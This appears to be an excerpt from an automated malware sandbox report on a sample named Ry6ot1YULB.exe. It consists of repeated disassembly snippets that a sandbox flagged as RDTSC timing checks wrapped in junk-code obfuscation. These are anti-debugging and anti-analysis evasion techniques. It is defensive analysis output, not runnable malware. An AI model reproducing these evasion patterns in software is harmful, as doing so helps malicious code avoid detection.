Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B5D6 second address: 172B5EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E591h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B5EF second address: 172B5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B6DA second address: 172B6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B6DF second address: 172B6E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B6E4 second address: 172B6F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B6F5 second address: 172B708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B20B24F7Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B708 second address: 172B70C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B70C second address: 172B73C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 ja 00007F7B20B24F7Eh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F7B20B24F82h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B73C second address: 172B78B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7B2139E586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e popad 0x0000000f pop eax 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F7B2139E588h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a call 00007F7B2139E589h 0x0000002f jmp 00007F7B2139E58Ah 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push edx 0x00000039 pop edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B78B second address: 172B790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B790 second address: 172B796 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B796 second address: 172B79A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B79A second address: 172B7AE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7B2139E586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B7AE second address: 172B7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F7B20B24F76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B7C0 second address: 172B7C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172BC21 second address: 172BC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172BCE6 second address: 172BCF5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172BCF5 second address: 172BCFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172BDEE second address: 172BDF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F7B2139E586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172BDF8 second address: 172BE0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jo 00007F7B20B24F88h 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F7B20B24F76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172BE0F second address: 172BE13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172BEA0 second address: 172BEAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F7B20B24F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172C349 second address: 172C362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7B2139E586h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7B2139E58Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172C71B second address: 172C730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F7B20B24F7Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172C979 second address: 172C97E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172C97E second address: 172C9B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007F7B20B24F86h 0x00000011 stc 0x00000012 pop esi 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 push eax 0x00000016 jno 00007F7B20B24F76h 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172C9B4 second address: 172C9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7B2139E58Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172C9CC second address: 172C9D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172D681 second address: 172D699 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7B2139E58Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172E822 second address: 172E826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172E826 second address: 172E82B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172E82B second address: 172E8FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7B20B24F76h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jne 00007F7B20B24F86h 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F7B20B24F78h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov edi, dword ptr [ebp+122D37E2h] 0x00000035 pushad 0x00000036 pushad 0x00000037 jmp 00007F7B20B24F82h 0x0000003c mov eax, dword ptr [ebp+122D27EAh] 0x00000042 popad 0x00000043 mov edx, dword ptr [ebp+122DB4BDh] 0x00000049 popad 0x0000004a push 00000000h 0x0000004c call 00007F7B20B24F89h 0x00000051 mov edi, 0D1FAE9Dh 0x00000056 pop esi 0x00000057 push 00000000h 0x00000059 mov dword ptr [ebp+122D25A6h], edx 0x0000005f xchg eax, ebx 0x00000060 jg 00007F7B20B24F91h 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007F7B20B24F89h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172E8FD second address: 172E903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172FC17 second address: 172FC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 jne 00007F7B20B24F76h 0x0000000c push 00000000h 0x0000000e jnl 00007F7B20B24F7Bh 0x00000014 push 00000000h 0x00000016 or esi, dword ptr [ebp+122D3522h] 0x0000001c xchg eax, ebx 0x0000001d pushad 0x0000001e jmp 00007F7B20B24F7Eh 0x00000023 jc 00007F7B20B24F7Ch 0x00000029 jc 00007F7B20B24F76h 0x0000002f popad 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 pushad 0x00000035 popad 0x00000036 pop eax 0x00000037 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173062E second address: 1730638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F7B2139E586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17303EF second address: 173040B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1730638 second address: 173066D instructions: 0x00000000 rdtsc 0x00000002 js 00007F7B2139E586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f pushad 0x00000010 or ebx, 7779BC2Dh 0x00000016 clc 0x00000017 popad 0x00000018 push 00000000h 0x0000001a xor esi, dword ptr [ebp+122D3716h] 0x00000020 push 00000000h 0x00000022 jmp 00007F7B2139E58Eh 0x00000027 xchg eax, ebx 0x00000028 pushad 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1734B03 second address: 1734B08 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1735019 second address: 173501D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173501D second address: 1735023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1735023 second address: 1735090 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7B2139E58Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d cld 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F7B2139E588h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a xor ebx, dword ptr [ebp+1244FE66h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007F7B2139E588h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 00000019h 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c mov ebx, dword ptr [ebp+122D1A81h] 0x00000052 push eax 0x00000053 push esi 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1735090 second address: 1735094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1735FF6 second address: 1735FFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1735FFA second address: 1736000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1736000 second address: 1736005 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1735224 second address: 1735239 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7B20B24F81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1735239 second address: 173523D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1736FCD second address: 1736FD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1736FD1 second address: 1736FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1736FD7 second address: 1736FE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F7B20B24F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1736FE1 second address: 1736FF3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7B2139E586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1736FF3 second address: 1737011 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7B20B24F86h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1736229 second address: 173622F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1738013 second address: 173806E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F7B20B24F78h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 jmp 00007F7B20B24F7Ah 0x0000002c push 00000000h 0x0000002e clc 0x0000002f mov di, bx 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+122D1E81h], edi 0x0000003a cmc 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d push edi 0x0000003e pushad 0x0000003f popad 0x00000040 pop edi 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173806E second address: 1738072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173721B second address: 173721F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173721F second address: 17372E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E597h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jl 00007F7B2139E586h 0x00000010 pop edi 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F7B2139E596h 0x00000018 nop 0x00000019 cld 0x0000001a push dword ptr fs:[00000000h] 0x00000021 push ebx 0x00000022 mov edi, dword ptr [ebp+122D1B00h] 0x00000028 pop ebx 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F7B2139E588h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a sbb edi, 761FA11Eh 0x00000050 mov eax, dword ptr [ebp+122D12A1h] 0x00000056 push 00000000h 0x00000058 push ebp 0x00000059 call 00007F7B2139E588h 0x0000005e pop ebp 0x0000005f mov dword ptr [esp+04h], ebp 0x00000063 add dword ptr [esp+04h], 0000001Ah 0x0000006b inc ebp 0x0000006c push ebp 0x0000006d ret 0x0000006e pop ebp 0x0000006f ret 0x00000070 mov bx, ax 0x00000073 sub dword ptr [ebp+122D3466h], edx 0x00000079 push FFFFFFFFh 0x0000007b mov dword ptr [ebp+122D228Fh], edx 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 jmp 00007F7B2139E590h 0x00000089 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173904D second address: 1739057 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7B20B24F7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173AFEE second address: 173AFF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173AFF2 second address: 173B078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7B20B24F7Dh 0x0000000b popad 0x0000000c push eax 0x0000000d push ecx 0x0000000e jnp 00007F7B20B24F81h 0x00000014 jmp 00007F7B20B24F7Bh 0x00000019 pop ecx 0x0000001a nop 0x0000001b mov ebx, esi 0x0000001d push 00000000h 0x0000001f jmp 00007F7B20B24F84h 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007F7B20B24F78h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 sub dword ptr [ebp+122DB4A6h], edi 0x00000046 xchg eax, esi 0x00000047 pushad 0x00000048 jmp 00007F7B20B24F87h 0x0000004d push ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173B078 second address: 173B094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7B2139E593h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1739322 second address: 173932C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7B20B24F7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173CFE0 second address: 173CFEB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16E40E1 second address: 16E40E6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16E09B2 second address: 16E09C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 je 00007F7B2139E5AAh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16E09C4 second address: 16E09C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173B21B second address: 173B232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7B2139E592h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173B232 second address: 173B23F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173B23F second address: 173B243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 173B243 second address: 173B247 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17410C6 second address: 17410CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1742034 second address: 1742039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1742039 second address: 17420A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E58Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnl 00007F7B2139E59Bh 0x00000010 nop 0x00000011 pushad 0x00000012 mov dh, cl 0x00000014 mov ax, si 0x00000017 popad 0x00000018 push 00000000h 0x0000001a add edi, 058AAED8h 0x00000020 sub dword ptr [ebp+1245A622h], ebx 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F7B2139E588h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 jp 00007F7B2139E586h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17420A4 second address: 17420AA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16E7642 second address: 16E7648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
